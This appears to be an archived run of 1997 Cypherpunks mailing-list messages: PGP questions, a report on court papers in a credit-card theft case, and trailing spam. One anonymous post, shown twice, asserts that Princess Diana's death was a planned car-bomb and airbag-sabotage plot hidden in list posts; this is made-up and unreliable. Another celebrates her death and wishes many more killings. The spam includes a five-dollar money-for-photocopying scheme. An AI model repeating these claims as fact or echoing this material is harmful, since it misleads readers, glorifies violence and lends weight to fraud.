> information you have already been given, we are probably wasting our
> time by giving you any further information. Regardless, if you wish to
> pursue the matter then I suggest that you research:
>         a) the explosion
>         b) the driver's airbag
>         c) the liquid on the ground at the scene
>         d) the source of changes in the day's schedule
>          and/or the previous day's schedule
>         e) the details of who was involved in the arrest
>          {debriefing} of the photographers present
> 
>  If you _do_ manage to follow up on the information then we _might_ be
> inclined to give you the details of Prince Charle's upcoming wedding
> and coronation.
> 
> : : B o o t s
> ~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 31 Aug 1997 21:24:40 +0800
To: cypherpunks@toad.com
Subject: Re: Confirmation on Diana, please?
Message-ID: <199708311312.PAA04298@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Fuck Diana and Dodi, rotting garbage, germs,
well ridded, like JFK. 

Up the paparazzi or whoever honored Labor Day
doing dirty work, giving a lesson: run, can't hide.

Two down, thousands more to go worldwide, the 
sooner the better, inshallah, scare the beasts back
to bunker. Guards will drain their blood, day by day.

Grieve for the driver, maybe the royal bitch's cop,
praise Oswald or whoever.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PGP Key Server <pgpks@dev.null>
Date: Mon, 1 Sep 1997 05:35:38 +0800
To: A Hoier <ahoier@juno.com>
Subject: Here Is Your PGP Signature / Re: PGP Signatures
In-Reply-To: <19970831.135647.9558.12.ahoier@juno.com>
Message-ID: <3409E03F.7CA4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



A Hoier wrote:
> 
> Does anyone know where I can get a PGP Signature on the Net. 

Adam,
  Here is your official PGP Signature. Cut and paste it to all of
your correspondence to the CypherPunks mailing list, so we will know
it is really you in the future.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
MessageID: HyRMcbGm8DN7BxUVL/6EunpyDLmTX8Wj

iQA/AwUBNAneIl7MfpC8gEO7EQIOIgCeM6giFdXXS1Idut3q941mSEEc8CAAoITk
142XgrvDAUe3CMwH4jTRiJZi
=jvrj
-----END PGP SIGNATURE-----

  Everything you want to know about encryption is on the Clue Server,
which you should be able to find with a quick Yahoo search. If you 
can't find it, just post a message to the list asking where it is,
and I am certain that there are a variety of list members who would
be more than willing to take time out of their busy schedules to
tell you where to go.

Sincerely,
PGP Signature Key Intelligent AutoResponder





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sun, 31 Aug 1997 23:43:38 +0800
To: cypherpunks@toad.com
Subject: Confirmation on Diana
Message-ID: <FyKrieX+aylnlKr8g3NJkQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer wrote:
> 
> Are there any Cypherpunks mailing list members who can confirm that
> there was a series of posts related to Princess Diana's death in the
> days before the event? I am particularly interested in information as
> to whether Cypherpunks were in any way responsible for a slight delay
> in the timing of her death.
> I am particularly interested in communicating with the person who sent
> me the anonymous messages between 8/24/97 and 8/30/97 using the nym
> "A'Tak A'Tdorn'.
> 
> If you have information and an interest in sharing it, please send a
> post to the Cypherpunks list or the fight-censorship list, indicating
> such. If you wish for me to contact you through a neutral, third party,
> indicate that as well.
> 
> Thank You

 If you have a death-wish, then send this message again through the
Canadian Mountie remailer.  {:>)-----<
{HELP! They knocked me down and cut off my arms!}

 I presume the message you are referring to on 24/8/97 is the one
which answers your previous anonymous inquiry by saying,
 "Only for the moment we are saying nothing."
 It meant what it said. However, since the moment is over I suppose
there is no harm in saying "something."  I will therefore give you
a modicum of information on the messages which have passed through
the cypherpunks list since your original notification that something
was in the wind.
  For starters, although I have not seen the original email which you
received but I believe that if you read it closely you will see that
it implied that the coming messages to the list would be in a form
which was _analogous_ to the event, whereas you seemed to take it
literally as a plan to "Nuke D.C." 
[How you managed to come to the conclusion that spooks and shadows
would refer to a coming event directly totally escapes me!?!]
 If you will reinterpret the posts in question in light of the event,
I believe you will see the thread that winds through them.

 As you were told, the AOL'er messages were used as markers to divine
which of the coming messages contained stegonographic messages of one
sort or another, or pointers to graphics containing the stegonography.
I am assuming you understood this and sent the AOL'er message saying,
"Please send more details...thanks"

 If you had not taken the phrase "Nuke D.C." so literally you would
have noticed that the "Fade to Gray" post linked the coming major
event (Nuke D.C.) to foreigners, automobiles and death.
 You were not alone in your request for details regarding the message
in the Quote of the day:
	"I know the day it happens. On August 29, 1997 it's going 
	 to feel pretty fucking real to you too." 
which had been sent by one of the Canadians involved in ferreting out 
the details of the coming event.
 One of the cypherpunk list members posted the question, "When is X-Day
supposed to be?" when there was no mention of 'X-Day' in the quote. This
understandably led to postponement of the event while those involved
checked to see if there had been a breach in their security.
  The subsequent message which stated, "I don't know what you mean by
'When is X-Day supposed to be?'" was interpreted by those involved to
indicate that full details of their plans remained a mystery to those
who were trying to expose and stop it.
  After they had put things in motion to proceed with their backup plan,
however, two more messages came to the list which indicated that there
was more known about their plan than they had suspected.

 In reply to the post expressing lack of knowledge about the timing of
X-Day, a post from _lne.com_ (surprise, surprise) suggested that X-Day
referred to people who are going to be "taken from the earth" (death)
by "pleasure saucers" (limosene) and noting that the limosene would
be operated by "Greys" (a reference to the <fade to grey> ending of
the "Fade To Gray" post--indicating a spook/LEA connection). The post
ended by suggesting the time of the event might be "April" (4 o'clock)
and gave a pointer to a sight with a graphic stego which would provide
a visual message.

 The second post that came well after it had been decided to proceed
with the backup plan said,
	"The metallic custard scent ripped through the
	 stegosaurus' nostrils."
	(metallic custard being a car bomb--note eye witness
	 accounts by Michael Solomon {who just happened to be
	 on the scene, naturally} speaking of a "loud explosion"
	 that brought to mind "terrorists."}

	"Clearly the meonotreme (Monarchist/Anarchist/Extremist)
	 journey it would begin as it had ended."
	(The Fairy Tale Princess who had embarked on an extremist
	 political journey was about to return to becoming the
	 {dead} Fairy Tale Princess, once again.)

	"The ponder-tree hung itself in the heavy air,
	 it's sap becomming purple."
	(Diana had sealed her death {"hung itself"} when she
	 opted to bond herself to Royal blood.)

	"And flowed enigmatically
	 like a river of broken curves and powdered eggshells."
	(A reference to the immediate area of the planned event,
	 which would be at the split {"broken"} of a tunnel road
	 {"river"} and the airbags being sabotaged.)

 After this post appeared on the cypherpunks list, a Timmy C. Mayflower
ASCII art spam showed up on the list from a juno remailer, but it had
a Timothy C. May .sig following the artwork. (Followed by the proverbial
GJBuller response.)
 Then both the juno remailer and the toad list experienced problems with
multiple messages being sent to _some_ people and _not_ others, as well
as _some_ people not getting certain messages at all.
  You will also note that, as the "Fade To Gray" post indicated (re: all
the cypherpunks being "out of town" at the time of the event), there was
no activity on the list in the time surrounding the event.
  As for the information in the graphic pointed to by the lne.com post,
it was never considered to be anything but an attempt at intentional
misdirection.

 You were told months ago that Diana's current power came from the 
failure of the so-called suicide attempt and that the agreement to
leave her free to continue her public activities was contingent upon
her remaing free from political matters. You were also informed that
her involvement with the Labor Party land-mine issue was a breach of
that agreement, as was her June 13th reference to the resistance of
the Conservative party in this regard.
 When you were contacted last week, you should have been able to figure
out for yourself what her link to the Harrods clan indicated. You were
made aware of everything you needed to be sitting on top of the story.
 Given the fact that you have shown so little ability to act on the
information you have already been given, we are probably wasting our 
time by giving you any further information. Regardless, if you wish to
pursue the matter then I suggest that you research:
	a) the explosion
	b) the driver's airbag
	c) the liquid on the ground at the scene
	d) the source of changes in the day's schedule
	 and/or the previous day's schedule
	e) the details of who was involved in the arrest
	 {debriefing} of the photographers present

 If you _do_ manage to follow up on the information then we _might_ be
inclined to give you the details of Prince Charle's upcoming wedding
and coronation.

: : B o o t s
~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 1 Sep 1997 07:15:31 +0800
To: lacc@suburbia.net
Subject: Court docs in Salgado/"Smak" case
Message-ID: <3.0.2.32.19970831160840.006bdc88@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain




I was over at the federal courthouse in SF on Friday, and copied documents
from the court's file in _US v. Salgado_, the case which got national
front-page coverage last week in which the defendant, a 30-something
resident of Daly City, was able to gain access to many credit card numbers
through security holes at some un-named ISP's. 

The documents (complaint + affidavit, indictment, pretrial release memo,
and motion to seal record) are online at <http://www.parrhesia.com/smak/>,
and also available at <http://jya.com/smak.htm>. The files were graciously
and skillfully transferred from paper to digital/HTML format by John Young
(thanks, John).

I found this file interesting for two reasons:

1.	Salgado used an unspecified crypto app/algorithm to encrypt his
communications with his co-conspirator, an informant working for the FBI.
(Details found in the affidavit accompanying the complaint). This case, a
high-profile and high-value credit card/access fraud case, was brought
quickly to a favorable conclusion for law enforcement, despite the use of
crypto - there's no indication that crypto use hindered law enforcement at
all.

2.	The government has filed a motion to seal the transcripts of Salgado's
guilty plea, because in the course of pleading guilty, he revealed the
identity of some of his victims; the government would prefer that the
public not learn which ISP's had security inadequate enough to protect
their customers' and customers' customers credit cards. (Criminal
defendants, as part of a guilty plea, are required to tell the court in
their own words what it is that they did that constituted the crime - this
is intended to help prevent defendants into being tricked/coerced into
guilty pleas to crimes they don't understand.) The government's motion was
filed on 8/25/97; no opposition was filed, and I don't believe it has been
granted (yet). 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Mon, 1 Sep 1997 04:26:01 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199708310556.HAA25027@basement.replay.com>
Message-ID: <3.0.2.32.19970831160913.007c9c30@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:56 AM 8/31/97 +0200, Anonymous wrote:

>Received this yesterday.  Out of curiousity, anyone
>know where (810) area code is located?

If you have an old map, it's all of the old 313 area code located north of 
Detroit, in Michigan.  So basically, it's northern suburban Detroit, minus 
one county.  

More specifically, I think that phone number is from St. Clair Shores, or Mt. 
Clemens Michigan.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNAnPaDc3ytqHnNyNAQFExgP+KUAwmcGDn1uz7nw63ywP0fBvRxL7m0hr
kfwu7GMpEEEFDprzL52Q7p7ndY95CjQXhhiViGCU/zScMbSVq2GRnL+8RTUdongI
BmEL3iHI2SJ+/JoQ4VAlkjw0Thg3mZvUM7lvHcNoAcUFyr29OUjeKEsiDbqP7MyX
F1hnLCVZWVc=
=yXl/
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 1 Sep 1997 07:59:53 +0800
To: ahoier@juno.com
Subject: Re: THANKS!!!!! A BUNCH!!!!!
In-Reply-To: <19970831.182129.3638.3.ahoier@juno.com>
Message-ID: <19970831235045.26460.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



ahoier@juno.com (A Hoier) writes:

 > I think somebody on this list (I think on this list) gave me
 > a PGP Signature and I just wanna say thank you so much!!!!

That may be premature.  Real PGP signatures can only be generated
by the owners of PGP private keys, and they vary with the
contents of the document being signed.  This identifies the
person who signs a document, and prevents undetected alterations.

Clearly, you cannot use the same signature on more than one
message, or have someone else give you a signature to use, or
anyone could fake signing a message.

 > But what i'd like to know is what does the PGP Signature
 > really mean????? Like for example what does my PGP
 > Signature mean Alls it is is a bunch of letters.  Could
 > someone privately e-mail me some info on cryptography web
 > sites??????

When you sign a document with PGP, the document is converted into
a unique number, which it is statistically unlikely any other
document will generate.  Then this unique number is raised to the
power of an exponent only you know, modulo the product of two
large probable primes.  The result is converted to a printed
ASCII string, which is appended to the message with text
identifying it as a PGP signature.

Others wishing to make sure you have signed the document, and
that it has not been altered, can raise this number to the power
of a publicly known exponent, modulo the product of the same two
large probable primes.  The secret exponent which you used to
sign and the public exponent you give others to verify your
signatures, have the property that raising to the power of both
of them leaves a number unaltered.  If the result matches the
unique number the document generates, then it was signed by you
and no changes were made to it.

Isn't that neat?

So basically you don't need to get your signature from anyone.

You need to get a copy of PGP, and generate your own PGP key
using the PGP -kg option.  Then you can post your public key to
the keyservers, and sign documents with it.

Others can use your public key to check your signatures, and also
to encrypt documents in a way only you can decrypt.

This is all explained in the PGP documentation, which comes with
the PGP program.

Good luck.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Mon, 1 Sep 1997 05:48:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP Signatures
In-Reply-To: <19970831.135647.9558.12.ahoier@juno.com>
Message-ID: <3.0.3.32.19970831174041.0073bd34@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



>On Sun, 31 Aug 1997, A Hoier wrote:
>
>> [...] I'm a begginer to 
>> Cryptography and when I heard about it sounded like a cool subject

At 02:27 AM 9/1/97 +1000, platypus wrote:
>
>Dose Cypherpunks have an FAQ?  and dose it need one?


Last time I checked, it's at: ftp://ftp.csua.berkeley.edu:/pub/cypherpunks



************************************************************************
Lynne L. Harrison, Esq.       |    Destiny:
Poughkeepsie, New York        |    "A tyrant's authority for crime
lharrison@mhv.net             |    and a fool's excuse for failure."
http://www.dueprocess.com     |      - Ambrose Bierce
************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ahoier@juno.com (A Hoier)
Date: Mon, 1 Sep 1997 06:43:51 +0800
To: cypherpunks@toad.com
Subject: THANKS!!!!! A BUNCH!!!!!
Message-ID: <19970831.182129.3638.3.ahoier@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



I think somebody on this list (I think on this list) gave me a PGP
Signature and I just wanna say thank you so much!!!!
But what i'd like to know is what does the PGP Signature really mean?????
 Like for example what does my PGP Signature mean Alls it is is a bunch
of letters.  Could someone privately e-mail me some info on cryptography
web sites??????

THANKS
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
MessageID: HyRMcbGm8DN7BxUVL/6EunpyDLmTX8Wj

iQA/AwUBNAneIl7MfpC8gEO7EQIOIgCeM6giFdXXS1Idut3q941mSEEc8CAAoITk
142XgrvDAUe3CMwH4jTRiJZi
=jvrj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 1 Sep 1997 09:11:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: THANKS!!!!! A BUNCH!!!!!
In-Reply-To: <19970831.182129.3638.3.ahoier@juno.com>
Message-ID: <v03102801b02fc4d3498d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:00 PM -0700 8/31/97, A Hoser wrote:
>I think somebody on this list (I think on this list) gave me a PGP
>Signature and I just wanna say thank you so much!!!!
>But what i'd like to know is what does the PGP Signature really mean?????
> Like for example what does my PGP Signature mean Alls it is is a bunch
>of letters.  Could someone privately e-mail me some info on cryptography
>web sites??????
>
>THANKS
>-----BEGIN PGP SIGNATURE-----
...

A Hoser,

Be sure to encrypt all of your posts with the Virtual One Time Pad
algorithm, also known as Rot13, so that only the suitably clued may read
your words.

--Klaus



Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 1 Sep 1997 08:34:18 +0800
To: cypherpunks@toad.com
Subject: Re: PGP Signatures
In-Reply-To: <Pine.LNX.3.93.970901022644.110A-100000@shirley>
Message-ID: <NVNBce13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> On Sun, 31 Aug 1997, A Hoier wrote:
>
> > [...] I'm a begginer to
> > Cryptography and when I heard about it sounded like a cool subject
>
> [...]
>
> Dose Cypherpunks have an FAQ?  and dose it need one?

Lance Detweiller has been working on one.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "nobuki nakatuji" <bd1011@hotmail.com>
Date: Mon, 1 Sep 1997 11:06:09 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970901025202.18246.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain







______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 1 Sep 1997 04:12:06 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <xDmBINfciWhvVWEyJ23MXQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim's right.  I was curious about the spam and spent
a lot of time trying to look up the company.  It was
late, got lazy, and so emailed asking about the area
code.  Also thought others may have received it.

Tim's point, though, is well taken.  It didn't belong
on this list - so Tim, you got this one....

---------------------
Tim May wrote:

>Typical of how "anonymous" messages are flooding
>the list.
>
>The author sends us useless spam, and doesn't even
>know how to use Area Code lookup service.
>
>BTW. "he geographical location for area code 810 is
>Michigan (major cities: >Flint, Detroit). "
>(via 555-1212.com)
>
>I may soon have to put all of the remailers in
>my killfile.


       





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 1 Sep 1997 10:46:39 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: "Smack" the lawyer of your choice...but smack!
In-Reply-To: <199709010106.DAA22158@basement.replay.com>
Message-ID: <Pine.BSF.3.91.970831204142.15405A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 1 Sep 1997, Anonymous wrote:

> "Smak" delivered an encrypted CD containing over 100,000 stolen 
> credit card numbers. After the validity of the credit card information
> was confirmed through decryption of the data on the CD, "Smak" was 
> taken into custody by the FBI. 
> 
>   And the 100,000 people were immediately notified that their credit
> cards had been compromised? I fucking doubt it. Better to screw over
> 100,000 citizen-units than expose the incompetence of a few companies
> and the government's fight against strong encryption and computer
> security.

I was recently notified by a bank that issued one of my credit cards that 
my card number had been sold, along with thousands of other account 
numbers, to an undercover FBI agent. The bank canceled my account, opened 
a new one, and overnighted a replacement card. No big deal, and no loss 
to me.

OTOH, it *might* have been in response to a different incident. Keep 
those paranoid rants coming.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 1 Sep 1997 05:11:45 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <mzy4rI03xd8tpt3L2e7ZSw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer wrote:
> 
> Tim's right.  I was curious about the spam and spent
> a lot of time trying to look up the company.  It was
> late, got lazy, and so emailed asking about the area
> code.  Also thought others may have received it.

Turned out to be a self-fulfilling prophecy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Mon, 1 Sep 1997 05:34:04 +0800
To: cypherpunks-unedited@toad.com
Subject: Re: Crypto best book
Message-ID: <19970831212054.25767.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Aug 30, 22:40, "David E. Smith" wrote:
} Subject: Re: Crypto best book
> > > >           What is the best book about cryptography ?
> > >
> > > Although "best" is certainly subjective, Nine out of Ten Cypherpunks (TM)
> > > recommend Bruce Schneier's "Applied Cryptography."
> > >
> > > http://www.counterpane.com/applied.html
> > 
> > Bruce did a lousy job on this book.
> > 
> > If his is the first or the only book you read on the subject of
> > cryptography, your knowledge base will be seriously deficient.

Is this because of the mathematical mistakes, or is there other stuff? Certainly
his 'real-world' grasp seems excellent, and it's an enjoyable read, which says a
whole hell of a lot, I think, given the topic.  

I got an ad for 'The Handbook of Applied Cryptography' from a conference, is it
any good?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQBVAwUBNAjaRxkU7YRPCnEJAQFOcwH9GUQbNmkzLB/UxiIyk1UbTNcUMkmkY1JQ
RGtuvqV3iv6+oOrI2LOMB1I7FFcXFaXrdMtML53YX6KzuKNSul/f1Q==
=PFot
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deuce <ualdv8@sk.sympatico.ca>
Date: Mon, 1 Sep 1997 12:18:07 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: "Smack" the lawyer of your choice...but smack!
In-Reply-To: <Pine.BSF.3.91.970831204142.15405A-100000@mcfeely.bsfs.org>
Message-ID: <340A3EE8.45A6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:
> 
> On Mon, 1 Sep 1997, Anonymous wrote:
> 
> > "Smak" delivered an encrypted CD containing over 100,000 stolen
> > credit card numbers. After the validity of the credit card information
> > was confirmed through decryption of the data on the CD, "Smak" was
> > taken into custody by the FBI.
> 
> I was recently notified by a bank that issued one of my credit cards that
> my card number had been sold, along with thousands of other account
> numbers, to an undercover FBI agent. The bank canceled my account, opened
> a new one, and overnighted a replacement card. No big deal, and no loss
> to me.

When were you notified? Is there a place a person can check to see if
their credit card was one of the ones sold? 

Deuce





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "BOUSTANI" <threebbc@club-internet.fr>
Date: Wed, 28 Jan 1998 19:14:29 +0800
To: "Frank Andrew Stevenson" <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199801281106.MAA05137@mail.club-internet.fr>
MIME-Version: 1.0
Content-Type: text/plain



Hello Frank,

My is Jacques BOUSTANI , I live in Paris & i'm a student in computer
science.
I learn about you from my teacher. I think he doesn't know you or talk to
you but he tell us about how to cracked windows 95 .pwl or NT. So i'm
interested.
I would like to know how to do it. If you won't to tell me, by the way i
thanks you.
I hope that your reply would interest me .*

Thanks Mr Stevenson.

3BBC SYSTEM
   BOUSTANI 
      PARIS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: candy@mail.mail-promo.com
Date: Thu, 31 Jul 1997 23:49:36 -0700 (PDT)
To: freetrylive@hotmail.com
Subject: adults only
Message-ID: <18725478612534@mail1.mail-promo.com>
MIME-Version: 1.0
Content-Type: text/plain


FREE 5 MINUTE PREVIEW!!!
See and talk to girls or guys on your computer screen.
Not a video!  Not prerecorded!  This is live!!!
Our models will obay your every cummand, we're willing to prove it
by giving you a free 5 minute preview.
Give it a try, it's free!
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: free@web.site
Date: Sun, 24 Aug 1997 01:43:18 -0700 (PDT)
To: free@web.site
Subject: Attn: Business owners...a COOL web site...FOR FREE
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



Need a web site? 

Don't want one of those boring yellow pages?

How about a javascript-enhanced web site, complete with animations and a
searchable index of your products and services...a COOL web site...FOR 
FREE?

Check out the sample site at www.the-www.com

Then download the FREE software today.

Again that's http://www.the-www.com


Generate new leads...get better results...Get online today!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 17096751@18377.com
Date: Fri, 1 Aug 1997 04:07:10 -0700 (PDT)
To: Friends@public.com
Subject: I THINK I OWE YOU SOME MONEY!!! I WANT TO GIVE YOU SOME $$$
Message-ID: <6528754@freeguide.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
I THINK I OWE YOU SOME MONEY!!! I WANT TO GIVE YOU SOME $$$

Dear Friend,

No, there isn't an error in the subject line! I think I owe you some money! I found an amazing way to make money, 
and it's so great I think everybody should use this method to become financially independent! 

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I THINK I OWE YOU SOME MONEY!!! I WANT TO GIVE YOU SOME $$$

Disclaimer:- Research shows that you maybe interested in this information. If you are not, you will not get this
letter again. If so, we are sorry to have inconvenienced you. 

Dear Friend,

No, there isn't an error in the subject line! I think I owe you some money! I found an amazing way to make money, 
and it's so great I think everybody should use this method to become financially independent! 

Would you like to get into the action and get some of that money? How does $5,000 sound to you? That is, up to 
$5,000 just for photocopying a page of the information I am about to give you each and every time you copy. 
Sound good? How about this, I'm going to give you three pages which can help you make an immediate $15,000. 
Here's the best part, the pages I am about to give to you which provides this EASY way to make MONEY can 
be yours for ABSOLUTELY FREE!!!

Making $15,000 just for photocopying some information on three pages. It is definitely possible. There is 
ABSOLUTELY NO HARD WORK INVOLVED!!! Making money this easy shouldn't be legal, But I assure you
, it's TOTALLY LEGAL!

Why am I giving this incredible information for free? I know that these three free pieces of paper that I am about to 
send you can help stuff money into your pockets! I'm giving out these pages because I know that you'll be so
impressed with this system, you'll want to order my other money making materials. Because I already know that
 you'll love this system and will order others, I've decided to just flat out give you these three pages. You have 
NO OBLIGATION to buy in the future. But I'm telling you, it'll be like Christmas every time you go to your mailbox. 

Also, I will include another piece of paper that may help you make up to $8000, $160000, or even up to $3,200,000.
Again, all you have to do and press the start button on the photocopy machine.

Besides that, I will also send you a phone card which provides a great rate of 19 cents a minute. From anywhere to 
anywhere in the US, any time of the day. No restrictions. You can use this card to call New York from Seattle, or call 
Miami from San Diego. From a pay phone at the airport, at a friend's phone, hotel room phone or even a cell phone.
You can use this card and save with the great rate of 19 cents to anywhere in the US. You don't even have to change
 your long distance company.

You will get all this ABSOLUTELY FREE!!! To get all these great money making and money saving items. Please 
send your name and address, as well as $5 (five dollars) cash. You are getting everything for FREE, but the money 
is to help cover the cost of shipping and handling, which unfortunately isn't free. Besides, you can make the money back
in less than one push of the start button of the copy machine. And the phone card itself is worth more than that, in both
 savings and face value. So you have NOTHING TO LOSE!!!

So please send everything (You name, Address <e-mail add. Optional> and $5) to:-

Free Guide
PO BOX 180
Cypress, CA 90630



</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 23908678@17105.com
Date: Fri, 1 Aug 1997 03:10:18 -0700 (PDT)
To: newcredit@creditt.com
Subject: We pay You if we can't get you a VISA/MC!
Message-ID: <198465134645.BAS64865@insideoutside.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goldencareers.com@renoir.webservices.net
Date: Fri, 1 Aug 1997 09:17:29 -0700 (PDT)
To: Friend@public.com
Subject: NEW ON THE NET
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
NEW ON THE NET.

How would you like to have been part of the first group to join Amway in the 60s or
purchased stock from a small company called Wal-Mart in the 70s or had invested in a
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Anybody that made these decisions above are sitting pretty good at the moment
Here in the 90s a new company, was launched on the net,   This young company has
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This is simply a new company, with fresh ideas, a new company that people are going to
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THIS IS TRULY A COMPANY AHEAD OF IT'S TIME.

Thank You For Your Time.


</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Global Web Builders <gwb@gwb.com.au>
Date: Thu, 31 Jul 1997 22:20:20 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Pauline Hanson's One Nation newsletter
Message-ID: <1.5.4.16.19970801151649.499f2488@mail.ipswich.gil.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Issue 1.1

Date: 1st August 1997.

Welcome to the first Pauline Hanson's One Nation electronic newsletter.


The objectives of the newsletter are as follows:
------------------------------------------------

	To keep you informed on developments within One Nation.
	To seek assistance from you, where you are willing or able to help.
	To seek your comments and feedback on surveys that we may run from time to
time.

	
In this first issue we are listing the key One Nation web pages that will be
of interest:

The Hanson Phenomenon (main jumpstation)
